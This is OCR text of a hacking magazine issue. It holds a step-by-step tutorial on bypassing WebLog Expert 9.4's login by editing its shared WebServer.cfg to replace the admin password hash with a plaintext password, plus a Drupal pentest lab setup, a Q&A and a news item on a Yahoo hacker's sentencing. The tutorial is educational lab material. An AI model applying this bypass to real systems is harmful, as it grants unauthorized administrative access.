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4 UNDERSTANDING AUTHENTICATION BYPASS N

HACKING WITHOUT METASPLOIT

Everybody assumes hacking is always exciting and thrilling. Although | would agree to their o
I-pinion, hacking is not always as shown in the films and what people assume to be. Sometim
l-es it becomes monotonous to understand some of the basic concepts of hacking. Without p
troperly understanding these hacks in detail, its futile to learn hacking.

So in our newly started feature named "Hacking Without Metasploit", we will try to teach
lsome of the hacking attacks in detail. After understanding the basic process, these attacks
may turn interesting. Until then, we wish our readers will have patience.We have left out Met-
lasploit of this section so that our readers can understand better as to what's happening behin
(d the hack.

In our first article, our readers will learn about authentication bypass. Nowadays authen
[Hication is used everywhere online and offline. Authentication is a process or action of verifyi
I-ng the identity of a user.This can be in the form of passwords, tokens, fingerprint etc. People
luse passwords and other authentication methods in many places like Gmail, Twitter, Windows
letc.

What is authentication bypass? Imagine someone getting access to your Gmail accoun
It without knowing your password. Well that's called authentication bypass. It is different from
password cracking. Let us show you how? So our lab for this tutorial is a single Windows 7 s-
lystem with a program called WebLog Expert. WebLog Expert is a program used for analyzin-
lg access logs of websites like site's visitors, activity statistics, accessed files, paths through
the site, their search engines, browsers, operating systems etc. We have installed Version
9.4 of WebLog Enterprise Expert onour Windows 7 system to learn about the authentication
bypass vulnerability in this program. This vulnerability was detected by hyp3rlinx on exploit d-
latabase. Once installed and opened, the program should look like below.

47 Weblog Expert = 6] %
File Help
P (e Iy T 2 )

W 2 X | & B LB @

New  Edit  Delete | Analyze | Options Schedule Server
Profile Log Files Time Range
Sample - HTML Ci\Program Files\WebLog Expert\sample.og All activity
Sample - PDF C:\Program Files\WebLog Expert\sample.log Al activity
Sample - Web Server Ci\Program Files\WebLog Expert\sample.og All activity

((Note that | have installed this from a user account with admin privileges).This program has a
built in web server. Turn on the server of the program from the server tab as shown below.




47 Weblog Expert
File Help
I

New Edit Delete

EIEIEN

r ‘ o 0 e <
Analyze | Options Schedule Server

Profile Log Files Time Range

Sample - HTML ! loa All activity

Sample - PDF d web server X)) —

Sample - Web Server g All activity
@ Server engine is running...

Server. built-n web server
URL: htip: /1 174

Manage..| Users:0

Manage...| Profiles marked for publishing 1 of 3

Once the Server is started, visit the above shown url in a browser as shown below. It asks fo
-r authentication as shown below.
J& (ogin - Weblog Expert - Windows Intemet Explorer

(D) = (&) ntip/12100:1:9961 /Login ssprtetumri= <2t defauitasps <[4 x |[ £ 8ing

=IE

o~

d Favorites | s @) Suggested Sites v ] Web Slice Gallery v

@ Login - WebLog Expert I S R @ v Pagev Safetyv Tooks~ @+

v Login WebLog Expert

Username.
Password:

[T stayloggedin

Logi




IThis program requires an administrator to operate this program. | have given rights to the Wi-
ndows 7 administrator account with username "admin" over this program.
47 Weblog Expert

[=/E8] =’ ]
File Hel
-  New user =) 3
LY S

New Edt Delete | AR sername: admin

Profile Use | [rime Range

Sample - HTML | P | Jan activity

Sample - PDF | Confim password: Rl activity

Sample - Web Server B | sctivity

Access Rights

() Specified profiles:

[0 Sample - Web Server

£ H

|So the login portal opens only with his credentials as shown below.

@ Login - WeblLog Expert - Windows Intenet Explorer S[ET X
Q)+ (&) nttp121001:9991 /Login esprRetumbri=fdefeuttaspx ~[ 4] x ][ ging P~
i Favorites | 5 ] Suggested Sites v &) Web Slice Gallery v

| @ Login - weblog Expert

QY

AutoComplete Passwords eS| Poge~ Safety Tools~ @~

Do you want Intemet Explorer to remember this
password?

Poweredby
WebLog Expert

Intemet Explorer can remember this password so you dont
have to type & again the next time you vist this page.

[] Dont offer to remember any more passwords.

Leam sbout AsoConglete CED

Username: admin
Password:  sessss

[ stay logged in




IYou can see below that the admin user is logged on. Only this user has the rights to using
this program.( Remember there is only one user allocated to this program).
& Profiles - WebLog Expert - Windows Intemet Explorer

==

? -]

@Qv (] ntp:/7127.001:9991 /defauit aspx <[4 [ x ][ £ &ing

| e Fovortes | s ] Suggeted s » ) Web Sice Gallery
|| @ Profites - Weblog Eepert B v B v @ v Pagev Safetyv Tookv @+

v Profiles WeblLog Expert
Home | User: admin | Log out

Nobody other than the "admin" user can can get access to the dashboard of the program. No
w let's log out of Windows 7 system and login as a standard user (in this case,named user1)
IA standard user in Windows 7 is a normal user with limited privileges. So technically, he sho
uld not be able to access WebLog Expert' s dashboard.

(L) »[R « User Accounts and Family ety » User Accounts » Manage Accounts + [ 43| [ Search

Choose the account you would like to change

admin
Administrator
Password protected

userl
Standard user

Guest account is off

7

Create a new account

What is a user account?
Additional things you can do
& Set up Parental Controls

Go'to the main User Accounts page




X @ hitps://support.microsoft... B-B-o0e

Until and unless he knows the admin user's password.
# Login - Weblog Expert - Windows Internet Explorer

]|
QU (&) http://127.001:9991/Login.aspi?ReturnUrl=3e2fdefault.aspx 4 [x ][£ 8ing rxi
Y Favorites | 5 @] Suggested Sites v @8] Web Slice Gallery v
92+ @ Login - Weblog Expert

-8 -

X | @ nttps//supportmicrosoft... | |

Login

| g v Pagev Safetyv Toolsv @v

Username: admin

Password:

[ stay logged in

WebLog Expert

{& Login - Weblog Expert - Windows Internet Explorer
@U' [ &) hitp://127.001:9991 /Login.aspxiReturnU

In this case, he doesn't know the password and the login fails as shown below.

efault.aspx
i Favorites

~[43] x [[£ 8ing
&5 ) Suggested Sites v ) Web Slice Galley v

55+ | @ Login - Weblog Expert

v Pagev Safety~ Tookv @~

Login

Username: admin

Password.
I stay loggedin

Login

Invalid user name or password

Done

@ Internet | Protected Mode:

Weblog Expert

“a

®100% ~




Now let's see how we can bypass this authentication without knowing the password. Open W
Findows File Explorer and to System Drive (that's usually C:// drive in Windows).

@\/ [&, » Computer » Local Disk (C:) »

Organize = Share with ~

£ Favorites
M Desktop
18 Downloads

4 Recent Places

4 Libraries
4 Documents
& Music
& Pictures
B videos

1% Computer
&, Local Disk (C)

€ Network

Bumn  Newfolder

Name °

Gitstack
Inetpub
nfsave
Perflogs
Program Files
Users
WebAccess

Windows

File folder

Iselect "Folder and S

earch Options" as shown below.

That view above looks simple. But we need to see the hidden files.So go to Organize tab and

o
®®) [ » Libraries »

~[4]

Organize v | New library

Py

Redo
Select all

L] Layout

4 items

Tder and search options

es

rary to see your files and arrange them by folder, date, and other properties

Documents Jﬁ Music

Library & Library

Pictures i Videos

Librar g Library
» <




In the new window that opens, go to "view" tab and turn on the option of "showing hidden file
s and folders as shown below. This allows is to view files hidden by the system by default. O-
Ince turned on, Click on 'OK" and close the window.

(=@ =
Q@ )>[& » Computer » LocalDisk (€ » 4 ][ s o]
£ 0 e
 Folder Options ==}
- Date modified Type Size
Il Vo [sonsh] 6/18/2018 1024PM  Fie older

Folder views 1/25/20185:28PM  File folder

You can apply the view (such as Detals or lcons) that . ,
You are using for this folder to al folders of this type. 4/13/2018946PM  File folder
7/14/2009807 AM  File folder
([ rowviofodes | [ Pestoden | v o
18 3:54 PM File folder
2018408PM  File folder
Advanced seftings: 1/25/2018 5:2
Fies and Folders =
] Aways show icons, never thumbniais
Aways show menus.
7] Display fle icon on thumbnais
(V] Display fil size information in folder tips.
[Z] Display the full path in the tle bar (Classic theme ony)
Hidden fies and folders
7) Don? show hidden files, folders, or drives

O Show hidden fles, folders, and drives <=

M File folder
2018407 PM  File folder

m

[¥] Hide empty dives in the Computer folder
9] Hde extensions for known il types
] or g system files b

Restore Defauls

Lo (o J[ oy ]

—— -

Now when we see the same C: drive we have seen just above, we can now see a new folder
named ProgramData which was hidden prior to us.

frlEh
@U.\g » Computer » Local Disk (C:) » -\&,H Search Local Disk (C;) 2l
Organize v Share with v Bumn New folder =~ [ ®
e Name ’ Date modified Type Size

B Desktop Il Gitstack File folder
& Downloads | Inetpub File folder
MSOCache File folder
L. nfsaxe File folder
4 Libraries ). Perflogs File folder
+ Documents J. Program Files File folder
& Music ProgramData File folder
&= Pictures T Users File folder
B videos ). WebAccess 20185:27 PM  File folder
). Windows 8 407 PM File folder

1 Computer
& Local Disk (C)

€ Network




he ProgramData folder is one of the folders in Windows where applications store their data.
Unlike other folders, the ProgramData folder is shared among all the user accounts on Wind-
ows. Open the ProgramData folder and we will see a folder named WebLog Expert. This fold
er is where data related to our test application WebLog Expert is stored.

Shocuith = Bum  New foder

& Locat ik )

L

IOpen that folder and we will find another folder named "WebServer".

—c
@\)" » Computer » Local Disk (C:) » ProgramData » WebLog Expert » ~ [ 43 |[ sea o]
Organize v Includeinlibrery v Sharewith v Bum  Newfolder =~ [0 @
N Name : Date modified Type Size
B Desktop Config File folder
8 Downloads LogCache File folder
% Recent Places Profiles File folder
Template File folder
4 Libraries WebServer File folder
"+ Documents __ Common.cfg 3 1KB
o Music
i Pictures
B videos
1% Computer

& Local Disk (C)

€ Network

, 6 items




Inside the "WebServer" folder, we will find a file named WebServer.cfg as shown below. Nee
+dless to say, this is the configuration file of the Web Server for WebLog Expert.

@U' || <« Local Disk (C:) » ProgramData » Weblog Expert » WebServer

Bum  New folder

Orgenize v Includeinlibrary v Share with »

Date modified

W Favorites hRme
M Desktop | WebServer.cfg 10/7/2018 3:58 PM
8 Downloads

% Recent Places

(4 Libraries
7 Documents
& Music

& Pictures
B8 Videos

% Computer
& Local Disk (C)
€ Network

Click on this file to open the file. A window as shown will open prompting you to select a prog
-ram to open this particular file. Choose "Select a program from a list of installed programs"

land click on "OK".
=@ = |
@\J" <« Local Disk (C:) b ProgramData » WebLog Expert » WebServer ~ 45 ][ se )
Organize ~ [)Open  Bum  Newfolder - A ®
— Name & Date modified Type Size
Bl Desktop WebServer.cf 10/7/2018 3:58 PM CFG. 1KB
0 9
B Dot Voo =
% Recent Places
| Windows can't open this fle:
)
@ Libraries 2] Fer webserver.cty
3 Documents
To open this fie, Windows needs to know what program you want to use to
o' Music open it. Windows can go online to look it up automaticaly, or you can manually
&5 Pictures select from a list of programs that are instaled on your computer.
B videos What do you want to do?
@ Use the Web service to find the correct program
1% Computer Select a program from a st of nstalled programs
&, Local Disk (C))
¥ o) (e ]
€ Network
WebServer.cfg Date modified: 10/7/2018 358 PM Date created: 10/7/2018 3:58 PM
CFG File Size: 579 bytes

IThis will open a new window listing all the programs installed on the system. Choose the pro-




lgram "Notepad" to open the configuration file as shown below. Click on "OK"-

[

Open with

- ‘ Choose the program you want to use to open this file:

File: WebServer.cfg

m Default Host Appiication

%l Microsoft Office Picture Manager

Wlndow Photo Viewer

Type a description that you want to use for this kind of file:

[V] Always use the selected program to open this kind of file

If the program you want is not in the list or on your computer, you can look for the appropriate program on the
Web.

[The file opens in Notepad as shown below. Here you can see the Password hash of "admin”
luser (the highlighted part). Decrypting this hash will give us the password of the "admin" user
. But that's not we are here for. We are here for authentication bypass.

| WebServer - Notepad

File Edt Fomat View Help

iPasswords of users may be stored as hashes or as plain text. when passwords ar

iencered in the program Gur, they are always stored as hashes.'plain-text passwords

2y be useful if you need to generate this file Sutomatically using an external seript.
3 plain.cext password, use the “Password key Instead of the “PaSsuordash”

33

©
3

 Passwor d-sonepassword

fcommon]

avatlablerncurrentedition-1

[user :admin]
Passwor drash=1£8407200C0CBAS92F77777002E17606405142CS

IComment the password hash line using a colon (;). Then add a new line named password as
Password=1234 below the line [user:admin]. This will change the password of the user admi
t-n for whatever we want. Here we have given the password as "1234". We want our readers

to understand this part of the tutorial carefully. Here we are not cracking the password's hash
but we are directly changing the password without any password cracking method. Hence an




lauthentication bypass.

| WebServer - Notepad

File Edit Format View Help

;Passwords of users may be stored as hashes or as plain text. when passwords are
ientered in the program GUI, they are always stored as hashes. Plain-text passwords
imay be useful if you need to generate this file autonatically using an external script.
iTo set a plain-text password, use the "Password” key instead of the 'PasswordHash”
ione, for example:

[Passward-somepassword

Co

Availabletncurrentedition=1

IPAddress=127.0.0.1

showLocalhost=0

port=

=1EB407290C0CBA592F777770D2E176064051A2C5
ball Proﬁ 'Ies-l

IAfter making the changes, save the file and close it. Now open the Login portal of the web se
+rver and give the changed password as sshown below.

& Login - Weblog Expert - Windows Internet Explorer =nC)

@Qv [ ) nttp://127.001:9991/Loginaspx

i Favorites | 55 &) Suggested S

cumUridcatasp <] 9] % || 9 ing 5 |

v ] Web Slice Gallery v

&~ @ Login- Weblog Expert % | B¥ https://support.microsoft... P2 v B v @ v Pagev Safetyv Toos~ @+

W Login WebLog Expert

Username: admin
Password  esee

7| stay logged in

Invalid user name or password

Done @ Internet | Protected Mode: Off G v Riox -

IThis will give us access to the admin 's user account right away as shown below. This is one
lof the methods in which authentication bypass can take place. Not every authentication bypa
iss happens exactly as shown above. As many times stressed to our readers by us, hacking
is all about mind and never about a program or application. The main idea of this tutorial is to
make our readers understand the basic concept of authentication bypass.

(" Send all your doubts and queries related to hacking to

qa@hackercool.com
A A




@ Profiles - Weblog Expert - Windows Intemet Explorer

=)

@uv | ] nip/n27001 aspx -4 x P -
J¢ Favorites | g @] Suggested Sites v 8] Web S
~ | @ Profiles - WebLog Expert X |B¥ httpsy/support.microsoft. ) v B - & v Pagev Safety~ Toos~ @~

L

Done

Profiles

WebLog Expert

Home | User: admin | Log out

@ Internet | Protected Mode: Off G~ R10% ~

HACKING Q & A

~

B

Q: Can you give me a good idea of what is
ethical hacking? Who should take that cou
-rse and what are job prospects?

A: Ethical hacking refers to hacking but with e
-thics (or some good standards). While hacki-
ng means illegally getting into computers(or a
-ny other electronic device) ethical hacking de
-als with protecting those systems from those
hackers. Its just like the saying “ To catch a th
-ief, we have to think like a thief”. So normally
you are trained in everything hackers can do.
Any common hacking course in ethical hackin
-g teaches all techniques related to various
technologies (web, OS, humans etc. Yeah it
is humans). Anybody interested can take this
course but it would be a plus if you have a ba
-ckground in computers like CSE , IT etc. In
my experience getting into this cyber security
career is a bit tough (but not impossible) but

the once getting in it is a good and exciting
career.

Q: What are the minimum system require-
ments for the installation of Kali Linux ope
-rating system?

A : According to the official documentation of
the makers of Kali Linux, it needs a minimum
of 20 GB hard disk space to install Kali Linux.
We need a RAM of minimum 1GB for 32bit os
and 2GB for 64bit OS. Make sure that there is
CD-DVD Drive and USB boot support before
installing.

If you are an avid hacking enthusiast and
intend to do a lot of research and testing of ne
-w tools, we recommend you to keep hard dis
-k space around 30 GB or 40GB and also ma-
ke sure host system RAM is atleast 4GB mini
-mum to keep Kali Linux from hanging or gett
-ing struck.



SET UP DRUPAL PEN TESTING LAB IN UBUNTU 16

INSTALLIT

In our eternal journey of learning hacking and penetration testing, we need to install or set up
Iso many software and labs. In one of our previous issues we learnt how to set up XAMPP we
I-b server in Ubuntu 16 and have also installed Wordpress in that web server.In this issue, we
\will learn how to set up a Drupal website for pen testing. We will install this in the XAMPP ser
l-ver we set up previously.

| am presuming everyone knows what Drupal is, but if anybody doesn't know, it is an o
I-pen source content management software written in PHP just like Wordpress and Joomla. D
rupal has great standard features like easy content authoring and reliable performance. It pro
l-vides back-end framework for at least 2.3% of all web sites worldwide which include person-
lal blogs,corporate, political and government websites. Some of the familiar websites using Dr
lupal are NASA.gov, 24kitchen, Major League Soccer, Pinterest for Business, US departmen
+ of Energy and University of Minnesota etc.

As of January 2018, the Drupal community is composed of more than 1.3 million mem-
bers actively contributing to development of Drupal which includes 1,09,800 users. Drupal ha
s more than 39,500 free modules that extend and customize Drupal functionality. As already
lsaid before, popularity has its own disadvantages in cyber world.

Now let us get to the installation part quickly.On the Ubuntu 16 system, open a browser
land download the latest version of Drupal. Here for this tutorial we are using Drupal 7.57, sin
-ce it will be used in one of our future hacks (the installation process is same though).

Once the download is finished, open a terminal and navigate to the "Downloads" directory
las shown below. Change the permissions of the drupal-7.57.tar.gz file as shown below using
command chmod 755. This will give us execute permissions on the tar file. Once we get ex-
lecute permissions on the tar file, unzip the contents of the tar file using the tar -xvf comman
I-d as shown in the image below.

useri@ubuntu $ cd /home/useri/Desktop
useri@ubuntu
configuratio Joomla_3.7.0-Stable-Full_Package.zip

e-fields.0.3.5.zip

useri@ubuntu chmod 755 drueal 57.tar.gz
useri@ubuntu L 3
configuration.php Joomla_. -Stable-Full_Package.zip

si
drupal-7.57.tar.gz simple-fields.0.3.5.zip

useri@ubuntu tar -xvf drupal-7.57.tar.gz

57/ —_—

.57/ .editorconfig

.57/.gitignore

.57/ .htaccess

.57 /CHANGELOG. txt

.57 /COPYRIGHT . txt

.57/INSTALL.mysql. txt

.57/INSTALL.pgsql. txt

.57 /INSTALL.salite. txt
IOnce the extraction process is over, we will have a new folder named "drupal-7.57" in the
ame directory.




drupal-7.57/themes/seven/screenshot.png
drupal-7.57/themes/seven/seven.info
drupal-7.57/themes/seven/style-rtl.css
drupal-7.57/themes/seven/style.css
drupal-7.57/themes/seven/template.php
drupal-7.57/themes/seven/vertical-tabs-rtl.css
drupal-7.57/themes/seven/vertical-tabs.css
drupal-7.57/themes/stark/
drupal-7.57/themes/stark/README. txt
drupal-7.57/themes/stark/layout.css
drupal-7.57/themes/stark/logo.png
drupal-7.57/themes/stark/screenshot.png
drupal-7.57/themes/stark/stark.info
drupal-7.57/update.php
drupal-7.57/web.config
drupal-7.57/xmlrpc.php
drupal-7.57/LICENSE. txt
useri@ubuntu:~/Desktop$ 1s
configuration.php Joomla_3.7.0-Stable-Full_Package.zip
simple-
drupal-7.57 simple-fields.0.3.5.zip
drupal-7.57.tar.gz

Now its time to move the "drupal-7.57" folder into the root directory of the XAMPP web serve
r. This will be /opt/lampp/htdocs folder. Since it is a folder, we need to use "-r" recursive opti-
on with the cp command to successfully copy it. You need to be a root user for doing this. So
udo command is required. Enter the sudo password for the sudo user.
Navigate to the /opt/lampp/htdocs directory and do an "Is" to check if the drupal-7.57 f-
older is successfully copied. Let's rename drupal-7.57 folder to drupal for simplicity using the
mv command.

useri@ubuntu:~/Desktop$ sudo cp -r drupal-7.57 /opt/lampp/htdocs
[sudo] password for useri:
useri@ubunt: /Desktop$ cd /opt/lampp/htdo:s
useri@ubuntu: /opt/lampp/htd
applications. html d board img
bitnami.css drupal-7.57 index.php
favicon.ico
useri@ubuntu: /opt/lampp/htdocs$ mv drupal-7.57 drupal
mv: cannot move 'drupal-7.57' to 'drupal': Permission denied
useri@ubunt opt/lampp/htdocs$ sudo mv drupal-7.57 drupal
yseri@ubunt pt/lamop/htdocss ll

IGive permissions to the www-data user over the drupal directory using the chown command.
Now start the XAMPP serv -er using the sudo /opt/lampp/lampp start command as shown
below. The XAMPP server has successfully started.

sudo chown www-data -R drupal

webalizer

bitnami.css drupal index.php

favicon.ico
useri@ubuntu: /opt/lampp/htdocs$ sudo /opt/lampp/lampp start
Starting XAMPP for Linux 5.6.23-0.
XAMPP: Starting Apache...ok.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.
useri@ubuntu: /opt/lampp/htdocs$ l

upal which is used to store data.This ca




I-n be created using phpmyadmin of the web server. We have learnt about PHPmyadmin in o

l-ur previous issues. Open a browser and go to http://localhost/ dmin. You will see
fall the databases installed on the web server as shown below. Cllck on "New" to create a ne-
w database.

+ localhost /localhost | p' X

<« X @ D localhost -0 no =

F ocsifoes
php
Databases saL status User accounts Export Import Settings Replication
Recent. Favorites. Variables Charsets Engines

e =1l Gc-c v
st Server connection collation  : | utfambd_unicode_ci 1 s

mysal

performance_schema

B e i | AppesmeReSSEGS < Vs eckglocaiast
C * Seet charse: uTE8 Unicode e
e niage. : s ]

Theme: _pmahomme |

(Unix) OpenssL/L0.2h

mod_perl/2.0.8-dev Peri/v5.16.3

* Database dlient version ibmysal - mysaind
5.0.11-dev. 3 - St
mmmxs%mmss,wmgm dsbaczfe7n

« Fontsize: (a0

More settings

+ PHP extension: mysal
« PHP version: 5.6.23

[ waiting for localhost.

IGive a name to the database. Here we have named it "drupal6”. Then click on "Create".

localhost / localhost | phpMyAdmin 4.5.2

ozilla Firefox

localhost/localhost | o x |4

c e host o
MuAdmin I
phpMuyAd Cseiv:
seae Databases [/ SQL (& Status = Useraccounts =} Export 3 Import J* Settings v More
Recent Favorites
e Databases
- ciptucket
4. information_schema & Create database
i g
+ - oomias dupals Collation 4 create
4 mysal
4 performance_schema Database . Coliation
+ ¥
-3 phpmyadmin clipbucket atint sectan ci a2 Check privileges
A test
$ 3 wordpress information_schema  utf8 genecal ci - Check privileges.
joomiaz xts_generat_ci ax Check pry
mysal Ltint swesish i+ Check privileges
phomyadmin et bin
wordpress Ltint_setiah el - Check privileges
mConsolel: 8 tatinl swedish ci

[Once the database is created, you can see it in the list of all databases section as shown.

d Drupal was originally written by Dries Buytaert as a message
3 board and became an open source project in 2001.




localhost / localhost / drupals | phpMyAdmin 4.5.2 - Mozilla Firefox

i localhost / localhost /

(5 cC @ D localhost/ - O ihn@ =
8 7 sorvor focathost » @ Databose: dupei6 =
php
seqee M stroctore |(i8ats S suareti 80ioueryi k9 Repert 45 o1t [14b EOperations sl prisimwesi v bmore
e | . Notables found in database.
—anen
s clipbucket 3 Create table
i
- duic
-5 information_schema Name: Number of columns: |4
i
4 joomia
:
b mpsa
& rat eiahee
ity 2
4 promyadmin
i =
3 wordpress
cass

IOnce the database is successfully created, it's time to install Drupal. Open a browser and bro!
wse to "http://localhost/drupal” and you should see the Drupal installation wizard as shown b
l-elow. We will get two options: Standard and Minimal. Choose the "standard" one and Click
lon "Save and Continue".

Select an Installation profile | Drupal - Mozilla Firefox

@ selectaninstallation p x [

€)= e e locathost <: o mo =

Select an installation profile

4 O st
Q Miimal

» Choose profile

save and continue

( The name Drupal came from the Dutch word druppel, which means )
"drop” (as in a water droplet).The name was taken from the now
defunct Drop.org Website, whose code was used for Drupal.




hoose the Tanguage and click on "Save and Continue™.

Select an Installation profile | Drupal - Mozilla Firefox

@ selectaninstallation p X

(RN locathost <: -0 % no =

Select an installation profile

© standard

Minimal

» Choose profile
save and continue

The installation will check if all the requirements for Drupal installation are present. Usually a
HI requirements should be met but if you get an error as shown below, let's see how to fix the
Fm

Requirements problem | Drupal - Mozilla Fire!

@ Requirements problem x I8

<« (<3 D localhost; R neo =

Apachei2.4.18 (Unix) OpenSSLI1.0.2h PHP/S 6.23
mod_perl2.0.8-dev Per5.16.3

PHp 5623

PHP register globals  Disabled

« Choase profile PHP extensons  Enabled

o Database support  Enabled

PR PHP memory lmit  128M

© File system
The directory stes/defaultles does not exit. A automated attempt to create this
directory failed, possibly due to a permissions problem. To proceed with the.
installation, ether create the directory and modify its permissions manually or
ensure that the installe has the permissions to create it automatically. For more

information, see INSTALL txt or the oniine handbosk:

Unicode Rbrary PHP Mbstring Extension

© settings file The settings file does not exist
‘The Drupal installer requires that you create a settings file as part of the installation
process. Copy the /sites/default/defaul settings php file to sites/default
Isettings php. More detais about nstalling Drupal are avaiable in INSTALL xt.

Check the error met

9es and proceed with th

IThe first error is about directory named sites/default/files not being present. Drupal while inst-
lalling automatically tries to create that folder but if permissions are not granted, it will fail to d
o it. So the error is basically a permission error. Since that file is required, it is asking us to ¢
[-reate it manually. Open a terminal and navigate to the drupal directory as shown below. Go
fto the /sites/default directory. Create the files directory using the mkdir command as shown




S :d /opt/lampp/htdocs/drupal

useri@ubuntu: /drupal$ 1s
authorize.php 1ndex php INSTALL.txt p i the
CHANGELOG. txt INSTALL.mysql.txt LICENSE. txt README.txt update.php
COPYRIGHT.txt INSTALL.pgsql.txt MAINTAINERS.txt robots.txt UPGRADE.txt
cron.php install.php web.config

es INSTALL sqlite txt odu 1 xmlrpc.php
usermuhuntu drupal$ cd sites
useri@ubunt i $ cd default
useri@ubuntu: /opt/lampp/k /d /sites/default$ 1s
default.settlngs‘php
useri@ubuntu: /of / ault$ sudo mkdir files

In the "default" directory, do an "Is". Here we can see a file named default.settings.php. Copy
its contents to a new file named settings.php. This is to fix our second error. You may need t-
o be super user to do these.

useri@ubuntu: 'npt p t uLtS sudo mkdir files
useri@ubuntu: 3 > 1tS 1s

default. sett\ngs php

useri@ubuntu: /opt/ PP drupal/ / 1tS cp default.settings.php set
tings.php

cp: cannot create regular file 'settings.php': Permission denied

useri@ubuntu: t/lampp/ pal/sites/default$ sudo cp default.settings.ph
p settings. php

useri1@ubuntu: /opt/lam

default.settings. php gs. php

useri@ubuntu: /opt/lampp/k rupa

-1

-rw-r--r-- 1 www-data root 26256 Jul 15 22:26 default settings.php
drwxr-xr-x 2 root root 4696 Jul 15 22:44 fil
-rw-r--r-- 1 root settings.php
useri@ubuntu: /lar de LtS sudo chmod 755 -R files
userlmuhuntu p/ r aultS chmod 777 settings.php
chmod: Operatlon not permitted

/ aultS sudo chmod 777 settings.php

useri@ubuntu: ampp

default. sett1ngs php

useri@ubuntu:/opt

Now go to the browser and click on "Proceed with Installation™ link
© e ystem

The directory sites/defaul/fles is not writable. An automated attempt to create this
directory faled, possibly due to a permissions problem. To proceed with the
installation, ether create the directory and modify its permissions manually or
s
information, see INSTALL tt o the ¢

Unicode fibrary PHP Mbstring Extension
Settings file The fstes/defaul/settings php file exists.
Settings file The settings file is writable.

Check the error messages and proceed with the instalation. € e)




he installation process will now move to next stage as all the requirements are met. Choose
he type of database (Here, it is MySQL) since we have MySQL database only.

Database configuration | Drupal - Mozilla Firefox

@ Database configuratio: x [

> c@ localhost -0 n o =

Database configuration

Database type *
© MyS0L. Marias, or squivalent
postgresaL
saute

Database nam,

beor

» Setup database

Database username *
admin

Database password

» ADVANCED OPTIONS
Save and continue

IGive the name of the database we just created (That would be Drupal6). Give the credentials

lof MySQL administrator (which we created when we installed a web server). when all the val-

lues are set, click on "Save and Continue".

Database configuration | Drupal - Mozllla Firefox

@ Databaseconfiguratior x [

no =

€ ce 0 localhost w N
[ J

Database type *

© MysOL, MariaD8, or equivalent
Postaresal

saute

Database name *

drupals

Database username *
root

Database password

» ADVANCED OPTIONS

Save and continue

f Drupal became popular since 2003 when it helped build

"DeanSpace" for Howard Dean, one of the candidates in the U.S.
L Democratic Party's primary campaign for the 2004 U.S. elections.




he installation of the profile will start and it may take a bit long time for finishing it.

Installing Drupal | Drupal - Mozilla Firefox

@ installing Drupal | Drup X

« c @ locathost QY mo =

Installing Drupal

Complated 1 of 28. s
Installed Node module.

 Choose profile
 Choose language

fy requirements

v

1p database

» install profile

[Once the installation is finished, the system will ask you to change the permissions of some fi
Hes to avoid security risks. In the same page, you can enter the details fo your website.
nfigure site | Drupal - Mozllla Firefox

@ Configuresite |Drupal x |8

o7 ¢ @ D localhost - @ 1 n@o =
Configure site

A w y changes to sites/defaut and si ngs.php have
been made, 0 you should remove write permissions to them now in order
1o avoid security risks. If you are unsure how to do so, consult the nline

handbook

+ Choose profile SITE INFORMATION
+ Choose language Site name *

localhost
vV

quirements.

+ Setup database

Site e-mail address *

 Install profile

» Configure site

SITE MAINTENANCE ACCOUNT

Username +

This include details like name of the site (which I have left as localhost), email address for th-
le site, username and password for the site maintenance account (which is typically administ-
rator of the website), location and the default time zone of the site etc. Scroll down as shown
below for configuring all the above mentioned settings on the website. Make sure you seta s
Irong password for the administrator (For testing purposes, we will be using a common user-
name and password).The related images are all shown below.




Configure site | Drupal - Mozilla Firefox
@ Configuresite |Drupal X

<« c o D localhost;

Configure site

A\ Al necessary changes to sitestetault an sitesioefaultsettngs phphave
been made. 50 you should remove

permissions to them now in order

to avold security risks. If you are unsure how to do so, consult the online
handbook
Choose profile SITE INFORMATION
Choose language Site name *
localhost

v
v

 Verify requirements
 Set up database

v

nstall profile
o iaion & from s
» Configure site mai e e-mais from b
SITE MAINTENANCE ACCOUNT
uUsername *
adrmin
Spaces are allowed: punctuation is not allowed except for periods. hyphens, and

n @

Configure site | Drupal - Mozllla Firefox

@ Configuresite | Drupal

« [ D localhost; -9

Password strength: Fair

Passwords match: yes

SERVER SETTINGS

Default country

Nare - 1

Dtion the sone
AmericaLos Angeles: Sunday, 15, 2018 - 2255 0700 1

n @

(Once all the settings are set, click on "Save and Continue".

UPDATE NOTIFICATIONS

Check for updates automatically

save and continue




Once the installation is finished, you will get a congratulatory message as shown below.Click
on the "Visit your new site" link to have a look at the new Drupal site.

Drupal Installation complete | localhost - Mozilla FireFox

@ Drupalinstaliation cor xRS

o

wo =

RN D locathost, o

Drupal installation complete

A
/ Congratulations. you installed Drupal!
Visit your new site.

 Choose profile
+ Choose language

 Verify r

v setup

 Instal profile

IYour new site is as shown below.

@ Welcometolocalhost || X

)¢ o D localhost LR e neo =
ocalho
+ome
CY Welcome to localhost

No front page content has been created yet.

 Add new content

Help us make this magazine more awesome.
Send your suggestions to
ga@hackercool.com
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HACKSTORY

/A US District Court Judge sentenced Karim
Baratov to 60 months in prison. If you remem-
ber from our previous issues, Karim Baratov
is one of the main accused in hacking of thou
-sands of Yahoo webmail accounts. He is cha
rged in nine felony counts which include hac-
king, identity theft and espionage. To cover a-
dditional fine on him, the court ordered Karim
Baratov to forfeit all his assets.
Karim Baratov is a Canadian Kazakh for
hire hacker who was hired by FSB, the Russi-
lan secret service to break into some selected
\Yahoo accounts. He pleaded guilty to all the ¢
-harges last year. All of 23 years, Baratov wa-
s allegedly paid by Russian intelligence office
-rs Dmitry Dokuchaev and Igor Sushchin for
hacking into accounts of some specific target-
s.These targets included journalists, lawyers
land senior Government
jofficials of Russia and i
-ts neighbouring countr
-ies. Baratov was paid
100$ for each account
he compromised. Barat
ov claimed that he was
unaware of the identities of people who hired
him.

Baratov moved to Canada at the age of
12 when his interest moved towards compute
-rs. He started his own business of hacker-for
hire at the age of 14 years. Before he was ar
-rested by the Canadian police, Baratov led a
lavish lifestyle even owning cars like Ashton
Martin, Porsche, Audi and a Lamborghini. He
lalso used to regularly throw parties for his frie
-nds and used to wear expensive clothes alw-
ays to his school. He had a strong online pres
ence and went by the name Mr. Karim. He o-
nce boasted on social media that his earnings
are in millions and more than that of his paren
-ts combined. He was arrested silently from hi
s home by Canadian authorities bringing an
iabrupt end to his exploits.

He once bgasted on
social media that his
earnings were in millions
and he earned more than
that of his, parents

comb

With his arrest and conviction, now there are
three accused left in the case of Yahoo hacki-
ng. Dmitry Dokuchaeyv, Igor Sushchin and Lat
